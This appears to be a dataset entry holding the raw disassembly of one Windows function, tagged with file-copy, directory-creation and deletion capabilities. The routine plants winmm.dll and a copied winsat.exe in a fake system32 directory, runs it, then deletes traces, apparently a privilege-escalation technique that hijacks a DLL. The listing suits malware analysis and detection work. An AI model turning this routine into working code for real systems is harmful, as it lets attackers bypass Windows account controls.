Function at 0x14001625d
Capabilities:
Copy file
Create directory
Delete file

Disassembly:
jmp 0x140022e70
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x12b8
call fcn.14001600a
sub rsp, rax
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x4ae
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x12d8]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x1288], rax
lea rcx, [0x14006d13b]
call fcn.140016276
mov dword [rbp + 4], 0xc0000022
mov qword [rbp + 0x28], 0
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.14001616d
lea rdx, str.system32_
lea rcx, [rbp + 0xd0]
call fcn.1400165e1
xor edx, edx
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140022f24
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140022f24
jmp 0x1400231cf
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x930]
call fcn.14001616d
lea rdx, str.winmm.dll
lea rcx, [rbp + 0x930]
call fcn.1400165e1
mov r8d, dword [rbp + 0x12b8]
mov rdx, qword [rbp + 0x12b0]
lea rcx, [rbp + 0x930]
call fcn.140016ad7
test eax, eax
jne 0x140022f6d
jmp 0x1400231cf
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x500]
call fcn.14001616d
lea rdx, str.winsat.exe
lea rcx, [rbp + 0x500]
call fcn.1400165e1
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x930]
call fcn.14001616d
lea rdx, str.winsat.exe
lea rcx, [rbp + 0x930]
call fcn.1400165e1
xor r8d, r8d
lea rdx, [rbp + 0x930]
lea rcx, [rbp + 0x500]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x140022fe2
jmp 0x1400231cf
mov edx, 0x410
lea rcx, [rbp + 0x500]
call fcn.140016c2b
mov eax, 2
imul rax, rax, 0
mov ecx, 0x5c
mov word [rbp + rax + 0x500], cx
mov eax, 2
imul rax, rax, 1
mov ecx, 0x3f
mov word [rbp + rax + 0x500], cx
mov eax, 2
imul rax, rax, 2
mov ecx, 0x3f
mov word [rbp + rax + 0x500], cx
mov eax, 2
imul rax, rax, 3
mov ecx, 0x5c
mov word [rbp + rax + 0x500], cx
mov rax, qword [0x140065a08]
add rax, 0x6c
mov ecx, 2
imul rcx, rcx, 4
lea rcx, [rbp + rcx + 0x500]
mov r9d, 4
mov r8, rax
mov edx, 4
call fcn.140016bd1
lea rdx, str.Windows
lea rcx, [rbp + 0x500]
call fcn.1400165e1
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x48]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov dword [rbp + 0x78], 0x30
mov qword [rbp + 0x80], 0
mov dword [rbp + 0x90], 0x40
lea rax, [rbp + 0x48]
mov qword [rbp + 0x88], rax
mov qword [rbp + 0x98], 0
mov qword [rbp + 0xa0], 0
mov r9d, 6
mov r8d, 3
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x28]
call fcn.1400162ee
test eax, eax
jge 0x1400230fd
jmp 0x1400231cf
lea rdx, [0x140048610]
lea rcx, [rbp + 0x500]
call fcn.14001616d
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x500]
call fcn.1400165e1
mov eax, 2
imul rax, rax, 4
lea rax, [rbp + rax + 0x500]
mov r8, rax
lea rdx, [rbp + 0x500]
mov rcx, qword [rbp + 0x28]
call fcn.1400163d4
mov edx, 0x410
lea rcx, [rbp + 0x500]
call fcn.140016c2b
mov rax, qword [0x140065a08]
add rax, 0x6c
mov r9d, 4
mov r8, rax
mov edx, 4
lea rcx, [rbp + 0x500]
call fcn.140016bd1
lea rdx, str.Windows__system32_
lea rcx, [rbp + 0x500]
call fcn.1400165e1
lea rdx, str.winsat.exe
lea rcx, [rbp + 0x500]
call fcn.1400165e1
xor edx, edx
lea rcx, [rbp + 0x500]
call fcn.140016a7d
test eax, eax
je 0x1400231c5
mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x140022ed0
cmp qword [rbp + 0x28], 0
je 0x1400232f0
mov rcx, qword [rbp + 0x28]
call fcn.140016bd6
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtClose]
mov edx, 0x410
lea rcx, [rbp + 0x500]
call fcn.140016c2b
mov eax, 2
imul rax, rax, 0
mov ecx, 0x5c
mov word [rbp + rax + 0x500], cx
mov eax, 2
imul rax, rax, 1
mov ecx, 0x3f
mov word [rbp + rax + 0x500], cx
mov eax, 2
imul rax, rax, 2
mov ecx, 0x3f
mov word [rbp + rax + 0x500], cx
mov eax, 2
imul rax, rax, 3
mov ecx, 0x5c
mov word [rbp + rax + 0x500], cx
mov rax, qword [0x140065a08]
add rax, 0x6c
mov ecx, 2
imul rcx, rcx, 4
lea rcx, [rbp + rcx + 0x500]
mov r9d, 4
mov r8, rax
mov edx, 4
call fcn.140016bd1
lea rdx, str.Windows
lea rcx, [rbp + 0x500]
call fcn.1400165e1
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x48]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov dword [rbp + 0x78], 0x30
mov qword [rbp + 0x80], 0
mov dword [rbp + 0x90], 0x40
lea rax, [rbp + 0x48]
mov qword [rbp + 0x88], rax
mov qword [rbp + 0x98], 0
mov qword [rbp + 0xa0], 0
lea rcx, [rbp + 0x78]
call qword [sym.imp.ntdll.dll_NtDeleteFile]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysStringLen
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0x1288]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x1298]
pop rdi
pop rbp
ret